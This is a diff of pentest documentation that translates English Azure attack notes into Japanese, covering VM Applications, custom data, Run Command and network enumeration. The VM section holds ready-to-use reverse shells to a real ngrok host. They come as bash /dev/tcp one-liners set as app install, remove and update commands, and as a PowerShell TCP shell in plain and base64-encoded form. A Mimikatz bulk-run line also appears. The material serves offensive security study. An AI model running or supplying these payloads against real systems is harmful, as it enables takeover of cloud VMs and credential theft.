|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
<summary>ハイブリッドランブックワーカー</summary>
|
||||
|
||||
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-automation-account/).
|
||||
これは、オートメーションアカウントからVM内でランブックを実行することを可能にするVM拡張機能です。詳細については、[オートメーションアカウントサービス](../az-automation-account/)を確認してください。
|
||||
|
||||
</details>
|
||||
|
||||
### VM Applications
|
||||
|
||||
These are packages with all the **application data and install and uninstall scripts** that can be used to easily add and remove application in VMs.
|
||||
### VMアプリケーション
|
||||
|
||||
これらは、VM内でアプリケーションを簡単に追加および削除するために使用できる**アプリケーションデータおよびインストールおよびアンインストールスクリプト**を含むパッケージです。
|
||||
```bash
|
||||
# List all galleries in resource group
|
||||
az sig list --resource-group <res-group> --output table
|
||||
@@ -650,20 +617,19 @@ az sig list --resource-group <res-group> --output table
|
||||
# List all apps in a fallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
```
|
||||
|
||||
These are the paths were the applications get downloaded inside the file system:
|
||||
これらは、アプリケーションがファイルシステム内にダウンロードされるパスです:
|
||||
|
||||
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
|
||||
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
|
||||
|
||||
Check how to install new applications in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
新しいアプリケーションのインストール方法については、[こちら](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)を確認してください。
|
||||
|
||||
> [!CAUTION]
|
||||
> It's possible to **share individual apps and galleries with other subscriptions or tenants**. Which is very interesting because it could allow an attacker to backdoor an application and pivot to other subscriptions and tenants.
|
||||
> **個々のアプリやギャラリーを他のサブスクリプションやテナントと共有することが可能です**。これは非常に興味深いことで、攻撃者がアプリケーションにバックドアを仕掛け、他のサブスクリプションやテナントにピボットすることを可能にするかもしれません。
|
||||
|
||||
But there **isn't a "marketplace" for vm apps** like there is for extensions.
|
||||
しかし、**vmアプリ用の「マーケットプレイス」は、拡張機能用のものとは異なります**。
|
||||
|
||||
The permissions required are:
|
||||
必要な権限は次のとおりです:
|
||||
|
||||
- `Microsoft.Compute/galleries/applications/write`
|
||||
- `Microsoft.Compute/galleries/applications/versions/write`
|
||||
@@ -671,62 +637,59 @@ The permissions required are:
|
||||
- `Microsoft.Network/networkInterfaces/join/action`
|
||||
- `Microsoft.Compute/disks/write`
|
||||
|
||||
Exploitation example to execute arbitrary commands:
|
||||
任意のコマンドを実行するためのエクスプロイト例:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group myResourceGroup \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group <rsc-group> \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -735,79 +698,73 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### User data
|
||||
### ユーザーデータ
|
||||
|
||||
This is **persistent data** that can be retrieved from the metadata endpoint at any time. Note in Azure user data is different from AWS and GCP because **if you place a script here it's not executed by default**.
|
||||
これは**永続データ**で、メタデータエンドポイントからいつでも取得できます。AzureのユーザーデータはAWSやGCPとは異なることに注意してください。**ここにスクリプトを置いてもデフォルトでは実行されません**。
|
||||
|
||||
### Custom data
|
||||
### カスタムデータ
|
||||
|
||||
It's possible to pass some data to the VM that will be stored in expected paths:
|
||||
|
||||
- In **Windows** custom data is placed in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as a binary file and it isn't processed.
|
||||
- In **Linux** it was stored in `/var/lib/waagent/ovf-env.xml` and now it's stored in `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Linux agent**: It doesn't process custom data by default, a custom image with the data enabled is needed
|
||||
- **cloud-init:** By default it processes custom data and this data may be in [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). It could execute a script easily sending just the script in the custom data.
|
||||
- I tried that both Ubuntu and Debian execute the script you put here.
|
||||
- It's also not needed to enable user data for this to be executed.
|
||||
VMにいくつかのデータを渡すことが可能で、期待されるパスに保存されます:
|
||||
|
||||
- **Windows**では、カスタムデータは`%SYSTEMDRIVE%\AzureData\CustomData.bin`にバイナリファイルとして配置され、処理されません。
|
||||
- **Linux**では、`/var/lib/waagent/ovf-env.xml`に保存されていましたが、現在は`/var/lib/waagent/CustomData/ovf-env.xml`に保存されています。
|
||||
- **Linuxエージェント**: デフォルトではカスタムデータを処理しません。データが有効なカスタムイメージが必要です。
|
||||
- **cloud-init:** デフォルトではカスタムデータを処理し、このデータは[**いくつかのフォーマット**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)である可能性があります。カスタムデータにスクリプトを送信するだけで簡単にスクリプトを実行できます。
|
||||
- UbuntuとDebianの両方がここに置いたスクリプトを実行することを試しました。
|
||||
- これが実行されるためにユーザーデータを有効にする必要はありません。
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo "Hello World" > /var/tmp/output.txt
|
||||
```
|
||||
### **コマンドの実行**
|
||||
|
||||
### **Run Command**
|
||||
|
||||
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs**. The needed permission is `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
これは、Azureが提供する最も基本的なメカニズムで、**VM内で任意のコマンドを実行する**ことができます。必要な権限は `Microsoft.Compute/virtualMachines/runCommand/action` です。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Execute rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
|
||||
# revshell.sh file content
|
||||
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
|
||||
# Execute a rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
|
||||
## Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -824,42 +781,37 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
|
||||
Import-module MicroBurst.psm1
|
||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Privilege Escalation
|
||||
## 権限昇格
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Access
|
||||
## 認証されていないアクセス
|
||||
|
||||
{{#ref}}
|
||||
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## ポストエクスプロイト
|
||||
|
||||
{{#ref}}
|
||||
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## 永続性
|
||||
|
||||
{{#ref}}
|
||||
../../az-persistence/az-vms-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
|
||||
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
|
||||
- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,31 +2,30 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
Azure provides **virtual networks (VNet)** that allows users to create **isolated** **networks** within the Azure cloud. Within these VNets, resources such as virtual machines, applications, databases... can be securely hosted and managed. The networking in Azure supports both the communication within the cloud (between Azure services) and the connection to external networks and the internet.\
|
||||
Moreover, it's possible to **connect** VNets with other VNets and with on-premise networks.
|
||||
Azureは、ユーザーがAzureクラウド内に**孤立した** **ネットワーク**を作成できる**仮想ネットワーク(VNet)**を提供します。これらのVNet内では、仮想マシン、アプリケーション、データベースなどのリソースを安全にホストおよび管理できます。Azureのネットワーキングは、クラウド内の通信(Azureサービス間)と外部ネットワークおよびインターネットへの接続の両方をサポートしています。\
|
||||
さらに、VNetを他のVNetやオンプレミスネットワークと**接続**することも可能です。
|
||||
|
||||
## Virtual Network (VNET) & Subnets
|
||||
## 仮想ネットワーク(VNET)とサブネット
|
||||
|
||||
An Azure Virtual Network (VNet) is a representation of your own network in the cloud, providing **logical isolation** within the Azure environment dedicated to your subscription. VNets allow you to provision and manage virtual private networks (VPNs) in Azure, hosting resources like Virtual Machines (VMs), databases, and application services. They offer **full control over network settings**, including IP address ranges, subnet creation, route tables, and network gateways.
|
||||
Azure仮想ネットワーク(VNet)は、クラウド内の自分のネットワークの表現であり、あなたのサブスクリプションに専用のAzure環境内で**論理的な隔離**を提供します。VNetは、Azureで仮想プライベートネットワーク(VPN)をプロビジョニングおよび管理することを可能にし、仮想マシン(VM)、データベース、アプリケーションサービスなどのリソースをホストします。これにより、IPアドレス範囲、サブネットの作成、ルートテーブル、ネットワークゲートウェイなどの**ネットワーク設定に対する完全な制御**が提供されます。
|
||||
|
||||
**Subnets** are subdivisions within a VNet, defined by specific **IP address ranges**. By segmenting a VNet into multiple subnets, you can organize and secure resources according to your network architecture.\
|
||||
By default all subnets within the same Azure Virtual Network (VNet) **can communicate with each other** without any restrictions.
|
||||
**サブネット**は、特定の**IPアドレス範囲**によって定義されたVNet内の細分化です。VNetを複数のサブネットに分割することで、ネットワークアーキテクチャに応じてリソースを整理し、保護できます。\
|
||||
デフォルトでは、同じAzure仮想ネットワーク(VNet)内のすべてのサブネットは、制限なしに**相互に通信できます**。
|
||||
|
||||
**Example:**
|
||||
**例:**
|
||||
|
||||
- `MyVNet` with an IP address range of 10.0.0.0/16.
|
||||
- **Subnet-1:** 10.0.0.0/24 for web servers.
|
||||
- **Subnet-2:** 10.0.1.0/24 for database servers.
|
||||
- `MyVNet`のIPアドレス範囲は10.0.0.0/16。
|
||||
- **サブネット-1:** ウェブサーバー用の10.0.0.0/24。
|
||||
- **サブネット-2:** データベースサーバー用の10.0.1.0/24。
|
||||
|
||||
### Enumeration
|
||||
### 列挙
|
||||
|
||||
To list all the VNets and subnets in an Azure account, you can use the Azure Command-Line Interface (CLI). Here are the steps:
|
||||
Azureアカウント内のすべてのVNetとサブネットをリストするには、Azureコマンドラインインターフェース(CLI)を使用できます。手順は以下の通りです。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List VNets
|
||||
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
|
||||
@@ -34,10 +33,8 @@ az network vnet list --query "[].{name:name, location:location, addressSpace:add
|
||||
# List subnets of a VNet
|
||||
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List VNets
|
||||
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
|
||||
@@ -47,26 +44,24 @@ Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName> |
|
||||
Select-Object -ExpandProperty Subnets |
|
||||
Select-Object Name, AddressPrefix
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Network Security Groups (NSG)
|
||||
## ネットワーク セキュリティ グループ (NSG)
|
||||
|
||||
A **Network Security Group (NSG)** filters network traffic both to and from Azure resources within an Azure Virtual Network (VNet). It houses a set of **security rules** that can indicate **which ports to open for inbound and outbound traffic** by source port, source IP, port destination and it's possible to assign a priority (the lower the priority number, the higher the priority).
|
||||
**ネットワーク セキュリティ グループ (NSG)** は、Azure 仮想ネットワーク (VNet) 内の Azure リソースへのおよび Azure リソースからのネットワークトラフィックをフィルタリングします。これは、**セキュリティルール**のセットを含み、**ソースポート、ソースIP、ポートの宛先によって、受信および送信トラフィックのためにどのポートを開くかを示すことができます**。優先度を割り当てることも可能で、優先度番号が低いほど優先度が高くなります。
|
||||
|
||||
NSGs can be associated to **subnets and NICs.**
|
||||
NSG は **サブネットおよび NIC に関連付けることができます。**
|
||||
|
||||
**Rules example:**
|
||||
**ルールの例:**
|
||||
|
||||
- An inbound rule allowing HTTP traffic (port 80) from any source to your web servers.
|
||||
- An outbound rule allowing only SQL traffic (port 1433) to a specific destination IP address range.
|
||||
- 任意のソースからあなたのウェブサーバーへの HTTP トラフィック (ポート 80) を許可する受信ルール。
|
||||
- 特定の宛先 IP アドレス範囲への SQL トラフィック (ポート 1433) のみを許可する送信ルール。
|
||||
|
||||
### Enumeration
|
||||
### 列挙
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List NSGs
|
||||
az network nsg list --query "[].{name:name, location:location}" -o table
|
||||
@@ -78,10 +73,8 @@ az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupNam
|
||||
# Get NICs and subnets using this NSG
|
||||
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List NSGs
|
||||
Get-AzNetworkSecurityGroup | Select-Object Name, Location
|
||||
@@ -93,31 +86,29 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
|
||||
# Get NICs and subnets using this NSG
|
||||
(Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>).Subnets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Firewall
|
||||
|
||||
Azure Firewall is a **managed network security service** in Azure that protects cloud resources by inspecting and controlling traffic. It is a **stateful firewall** that filters traffic based on rules for Layers 3 to 7, supporting communication both **within Azure** (east-west traffic) and **to/from external networks** (north-south traffic). Deployed at the **Virtual Network (VNet) level**, it provides centralized protection for all subnets in the VNet. Azure Firewall automatically scales to handle traffic demands and ensures high availability without requiring manual setup.
|
||||
Azure Firewallは、クラウドリソースを保護するためにトラフィックを検査および制御する**管理されたネットワークセキュリティサービス**です。これは**ステートフルファイアウォール**であり、レイヤー3から7のルールに基づいてトラフィックをフィルタリングし、**Azure内**(東西トラフィック)および**外部ネットワークとの間**(南北トラフィック)の通信をサポートします。**仮想ネットワーク(VNet)レベル**で展開され、VNet内のすべてのサブネットに対して集中保護を提供します。Azure Firewallは、トラフィックの需要に応じて自動的にスケールし、手動設定を必要とせずに高可用性を確保します。
|
||||
|
||||
It is available in three SKUs—**Basic**, **Standard**, and **Premium**, each tailored for specific customer needs:
|
||||
これは、特定の顧客ニーズに合わせた3つのSKU—**Basic**、**Standard**、および**Premium**で利用可能です:
|
||||
|
||||
| **Recommended Use Case** | Small/Medium Businesses (SMBs) with limited needs | General enterprise use, Layer 3–7 filtering | Highly sensitive environments (e.g., payment processing) |
|
||||
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
|
||||
| **Performance** | Up to 250 Mbps throughput | Up to 30 Gbps throughput | Up to 100 Gbps throughput |
|
||||
| **Threat Intelligence** | Alerts only | Alerts and blocking (malicious IPs/domains) | Alerts and blocking (advanced threat intelligence) |
|
||||
| **L3–L7 Filtering** | Basic filtering | Stateful filtering across protocols | Stateful filtering with advanced inspection |
|
||||
| **Advanced Threat Protection** | Not available | Threat intelligence-based filtering | Includes Intrusion Detection and Prevention System (IDPS) |
|
||||
| **TLS Inspection** | Not available | Not available | Supports inbound/outbound TLS termination |
|
||||
| **Availability** | Fixed backend (2 VMs) | Autoscaling | Autoscaling |
|
||||
| **Ease of Management** | Basic controls | Managed via Firewall Manager | Managed via Firewall Manager |
|
||||
| **推奨使用ケース** | 限られたニーズを持つ中小企業(SMB) | 一般的な企業利用、レイヤー3–7フィルタリング | 高度に機密性の高い環境(例:決済処理) |
|
||||
| ------------------------------ | ----------------------------------- | ----------------------------------------- | ----------------------------------------- |
|
||||
| **パフォーマンス** | 最大250 Mbpsのスループット | 最大30 Gbpsのスループット | 最大100 Gbpsのスループット |
|
||||
| **脅威インテリジェンス** | アラートのみ | アラートとブロック(悪意のあるIP/ドメイン) | アラートとブロック(高度な脅威インテリジェンス) |
|
||||
| **L3–L7フィルタリング** | 基本的なフィルタリング | プロトコル全体にわたるステートフルフィルタリング | 高度な検査を伴うステートフルフィルタリング |
|
||||
| **高度な脅威保護** | 利用不可 | 脅威インテリジェンスに基づくフィルタリング | 侵入検知および防止システム(IDPS)を含む |
|
||||
| **TLS検査** | 利用不可 | 利用不可 | インバウンド/アウトバウンドTLS終端をサポート |
|
||||
| **可用性** | 固定バックエンド(2つのVM) | オートスケーリング | オートスケーリング |
|
||||
| **管理の容易さ** | 基本的なコントロール | ファイアウォールマネージャー経由で管理 | ファイアウォールマネージャー経由で管理 |
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Azure Firewalls
|
||||
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
|
||||
@@ -131,10 +122,8 @@ az network firewall application-rule collection list --firewall-name <FirewallNa
|
||||
# Get nat rules of a firewall
|
||||
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Azure Firewalls
|
||||
Get-AzFirewall
|
||||
@@ -148,21 +137,19 @@ Get-AzFirewall
|
||||
# Get nat rules of a firewall
|
||||
(Get-AzFirewall -Name <FirewallName> -ResourceGroupName <ResourceGroupName>).NatRuleCollections
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Route Tables
|
||||
## Azure ルートテーブル
|
||||
|
||||
Azure **Route Tables** are used to control the routing of network traffic within a subnet. They define rules that specify how packets should be forwarded, either to Azure resources, the internet, or a specific next hop like a Virtual Appliance or Azure Firewall. You can associate a route table with a **subnet**, and all resources within that subnet will follow the routes in the table.
|
||||
